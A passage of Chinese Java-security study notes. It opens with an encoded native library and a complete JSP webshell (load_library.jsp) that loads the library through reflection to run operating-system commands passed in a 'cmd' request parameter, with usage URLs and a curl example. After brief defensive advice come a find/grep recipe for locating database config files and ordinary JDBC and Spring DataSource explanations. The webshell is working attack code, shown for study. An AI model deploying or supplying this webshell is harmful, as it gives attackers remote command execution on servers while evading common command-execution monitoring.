AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDwAAAAAAAFALAAAAAAAAsAoAAAAAAAAIDwAAAAAAABIPAAAAAAAAHA8AAAAAAAAmDwAAAAAAADoPAAAAAAAARA8AAAAAAABODwAAAAAAAFgPAAAAAAAAYg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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phdmFfY29tX2FuYmFpX3NlY19jbWRfQ29tbWFuZEV4ZWN1dGlvbl9leGVjAF9fWk43Sk5JRW52XzEyTmV3U3RyaW5nVVRGRVBLYwBfX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX1Vud2luZF9SZXN1bWUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTZhcHBlbmRFUEtjAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVEMUV2AF9fWlN0OXRlcm1pbmF0ZXYAX19fY3hhX2JlZ2luX2NhdGNoAF9fX2d4eF9wZXJzb25hbGl0eV92MABfX19zdGFja19jaGtfZmFpbABfX19zdGFja19jaGtfZ3VhcmQAX2ZnZXRzAF9tZW1zZXQAX3BjbG9zZQBfcG9wZW4AZHlsZF9zdHViX2JpbmRlcgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFQzFFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFcExFUEtjAF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNWNfc3RyRXYAX19fY2xhbmdfY2FsbF90ZXJtaW5hdGUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUMyRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMUV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2X196ZXJvRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRUMyRXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU185YWxsb2NhdG9ySWNFRUxpMUVMYjFFRUMyRXYAX19aTlN0M19fMTlhbGxvY2F0b3JJY0VDMkV2AF9fWk5TdDNfXzExN19fY29tcHJlc3NlZF9wYWlySU5TXzEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVfX3JlcEVTNV9FNWZpcnN0RXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU0ZGF0YUV2AF9fWk5TdDNfXzFMMTZfX3RvX3Jhd19wb2ludGVySUtjRUVQVF9TM18AX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxM19fZ2V0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTlfX2lzX2xvbmdFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19nZXRfbG9uZ19wb2ludGVyRXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RFdgBfX1pOS1N0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0VSUzFfAF9fWk5TdDNfXzFMOWFkZHJlc3NvZklLY0VFUFRfUlMyXwBHQ0NfZXhjZXB0X3RhYmxlMABfX2R5bGRfcHJpdmF0ZQAA";
/**
* 获取JNI链接库目录
* @return 返回缓存JNI的临时目录
*/
File getTempJNILibFile() {
File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
if (!jniDir.exists()) {
jniDir.mkdir();
}
return new File(jniDir, "libcmd.lib");
}
/**
* 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
* 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
* @param str
* @return
*/
byte[] base64Decode(String str) {
try {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (ClassNotFoundException e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
} catch (Exception e) {
return null;
}
}
/**
* 写JNI链接库文件
* @param base64 JNI动态库Base64
* @return 返回是否写入成功
*/
void writeJNILibFile(String base64) throws IOException {
if (base64 != null) {
File jniFile = getTempJNILibFile();
if (!jniFile.exists()) {
byte[] bytes = base64Decode(base64);
if (bytes != null) {
FileOutputStream fos = new FileOutputStream(jniFile);
fos.write(bytes);
fos.flush();
fos.close();
}
}
}
}
%>
<%
// 需要执行的命令
String cmd = request.getParameter("cmd");
// JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值
String jniBytes = request.getParameter("jni");
// JNI路径
File jniFile = getTempJNILibFile();
ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
if (loader == null) {
loader = new ClassLoader(this.getClass().getClassLoader()) {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
return super.findClass(name);
} catch (ClassNotFoundException e) {
return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
}
}
};
writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
application.setAttribute("__LOADER__", loader);
}
try {
// load命令执行类
Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
Object loadLib = application.getAttribute("__LOAD_LIB__");
if (loadLib == null || !((Boolean) loadLib)) {
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
loadLibrary0Method.setAccessible(true);
loadLibrary0Method.invoke(loader, commandClass, jniFile);
application.setAttribute("__LOAD_LIB__", true);
}
String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
out.println("<pre>");
out.println(content);
out.println("</pre>");
} catch (Exception e) {
out.println(e.toString());
throw e;
}
%>
这里的代码完全看不懂啊QAQ
,先往后学JNI试试看吧
load_library.jsp
默认提供了一个MacOSX
的JNI
库字符串Demo其他系统需要自行编译:com_anbai_sec_cmd_CommandExecution.cpp
,编译方式参考后面的JNI
章节。load_library.jsp
接收两个参数:cmd
和jni
,参数描述:
cmd
需要执行的本地命令
jni
动态链接库文件Base64+URL编码后的字符串(urlEncode(base64Encode(jniFile))
),jni
参数默认可以不传但是需要手动修改jsp中的COMMAND_JNI_FILE_BYTES
变量,jni
参数只需要传一次,第二次请求不需要带上。
浏览器的请求方式
- GET传参:http://localhost:8080/load_library.jsp?cmd=ls
- POST传参:
curl http://localhost:8080/load_library.jsp?cmd=ifconfig -d "jni=JNI文件编码后的字符串"
注意事项
- 开发阶段我们应该尽可能的避免调用本地命令接口
- 如果不得不调用那么请仔细检查命令执行参数,严格检查(防止命令注入)或严禁用户直接传入命令
- 码审计阶段我们应该多搜索下
Runtime.exec/ProcessBuilder/ProcessImpl
等关键词
JDBC
概念
JDBC(Java Database Connectivity)
是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC
),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。
JDBC Connection
Java通过java.sql.DriverManager
来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在java.sql.DriverManager
中注册对应的驱动类,然后调用getConnection
方法才能连接上数据库。
JDBC定义了一个叫java.sql.Driver
的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)
其实就是间接的调用了java.sql.Driver
类的connect
方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection
的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection
对象。
JDBC连接数据库的一般步骤
- 注册驱动
Class.forName("数据库驱动的类名")
。 - 获取连接
DriverManager.getConnection(xxx)
。
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/mysql"
String USERNAME = "root";
String PASSWORD = "root";
Class.forName(CLASS_NAME);// 注册JDBC驱动类
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
数据库配置信息
传统的Web应用的数据库配置信息一般都是存放在WEB-INF
目录下的*.properties
,*.yml
,*.xml
中的,如果是Spring Boot
项目的话,一般都会储存在jar包中的src/main/resource
的目录下。常见的数据库配置文件如下
- WEB-INF/applicationContext.xml
- WEB-INF/hibernate.cfg.xml
- WEB-INF/jdbc/jdbc.properties
一般情况下查找命令如下
find 路径 -type f |xargs grep "com.mysql.jdbc.Driver"
- Class.forName()实际上是使用了java反射+类加载机制 向
DrvierManager
中注册了驱动包
省略Class.forName?
连接数据库就必须Class.forName(xxx)
几乎已经成为了绝大部分人认为的既定事实而不可改变,但是某些人会发现删除Class.forName
一样可以连接数据库这又作何解释?
这里利用了Java
的一大特性:Java SPI(Service Provider Interface)
因为DriverManager
在初始化的时候,会调用java.util.ServiceLoader
类提供的SPI机制,Java会自动扫描jar
包中的META-INF/services
目录下的文件,并且还会自动的Class.forName(文件中定义的类)
DataSource
在真实的Java项目中,通常不会使用原生的JDBC
的DriverManager
去连接数据库,而是使用数据源(java.sql.DataSource)来代替DriverManager
管理数据库的连接。一般情况下,在web服务启动时,会预先定义好所有的数据源。有了数据源程序就不需要编写任何和java相关的代码了,直接引用DataSource
对象即可获取数据库的资源
常见的数据源有:DBCP
、C3P0
、Druid
、Mybatis DataSource
,他们都实现于javax.sql.DataSource
接口。
Spring MVC 数据源
在Spring MVC中我们可以自由的选择第三方数据源,通常我们会定义一个DataSource Bean
用于配置和初始化数据源对象,然后在Spring中就可以通过Bean注入的方式获取数据源对象了
在基于XML配置的SpringMVC中配置数据源的数据
<bean id="dataSource" class="com.alibaba.druid.DruidDataSource" init-method="init" destory-method="close">
<property name= "url" value="${jdbc.url}"/>
<property name="username" value="${jdbc.username}"/>
<property name="password" value="${jdbc.password}"/>
....
/>
如上,我们定义了一个id为dataSource
的Spring Bean对象,。username
和password
都使用了${jdbc.xxx}
表示。很明显,${jdbc.username}
并不是数据库的用户名,这其实是采用了Spring
的property-placeholerd
制定一个properties
文件,使用${jdbc.username}
其实会自动自定义的properties配置文件中的配置信息。
<context:property-placeholder location="classpath:/config/jdbc.propertities">
其中,jdbc.properties
的内容为
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
jdbc.username=root
jdbc.password=root
在Spring中,我们只需要通过引用这个bean
就可以获取到数据源了,比如在Spring JDBC
中通过注入数据源(ref="dataSource")就可以获取到上面定义的dataSource
<!-- jdbcTemplate Spring JDBC 模版 -->
<bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
